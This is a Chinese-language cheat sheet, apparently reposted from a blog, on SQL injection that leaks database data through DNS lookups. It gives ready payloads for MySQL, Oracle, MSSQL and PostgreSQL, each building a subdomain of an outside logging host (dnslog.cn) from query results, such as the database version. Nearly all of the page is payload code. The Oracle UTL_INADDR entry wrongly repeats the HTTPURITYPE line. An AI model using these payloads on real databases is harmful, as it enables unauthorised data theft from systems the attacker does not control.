SQL 注入-DNS 外帶數據


參考文章

數據庫DNSLog外帶注入-總結
Dnslog在SQL注入中的實戰

注:外帶數據皆為數據庫版本信息

mysql

條件:

  • Windows
  • mysql.ini 中 secure_file_priv 必須為空,select @@secure_file_priv
  • 適用於聯合注入或堆疊注入
    具體:
    利用 mysql (Windows 適用)中的 load_file() 函數
    select load_file(concat("\\\\",version(),".1ndex.dnslog.cn//1ndex.txt"));
    當查詢的數據中有特殊符號時,可使用 hex() 函數外帶
    select load_file(concat("\\\\",hex(version()),".1ndex.dnslog.cn//1ndex.txt"));,數據過長不行

oracle

條件:適用於聯合注入或堆疊注入
可用函數:

  • UTL_HTTP.REQUEST()
SELECT UTL_HTTP.REQUEST((SELECT * from v$version)||'.1ndex.dnslog.cn') FROM sys.DUAL;
  • DBMS_LDAP.INIT()
SELECT DBMS_LDAP.INIT((SELECT * from v$version)||'.1ndex.dnslog.cn',80) FROM sys.DUAL;
  • HTTPURITYPE()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;
  • UTL_INADDR.GET_HOST_ADDRESS()
SELECT HTTPURITYPE((SELECT * from v$version)||'.1ndex.dnslog.cn').GETCLOB() FROM sys.DUAL;

mssql

條件:Windows、適用於堆疊注入

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"'); 

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_fileexist "\'%2b@host%2b'\foobar$"'); 

id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT SERVERPROPERTY('edition'))%2b'.1ndex.dnslog.cn'; EXEC('master..xp_subdirs "\'%2b@host%2b'\foobar$"'); 

postgreSQL

條件:Windows、適用於堆疊注入

id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select version()); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.1ndex.dnslog.cn\\\\aaa.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function(); 

開啟 db_link 擴展:

id=1;CREATE EXTENSION dblink;SELECT * FROM dblink('host='||(SELECT version())||'.1ndex.dnslog.cn username=1ndex password=1ndex','SELECT 1ndex') RETURNS (result TEXT); 

注意點

  • dns 查詢有長度限制,所以當查詢結果數據過長時需要截斷
  • 特殊符號,如@,一般先編碼后再帶出


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM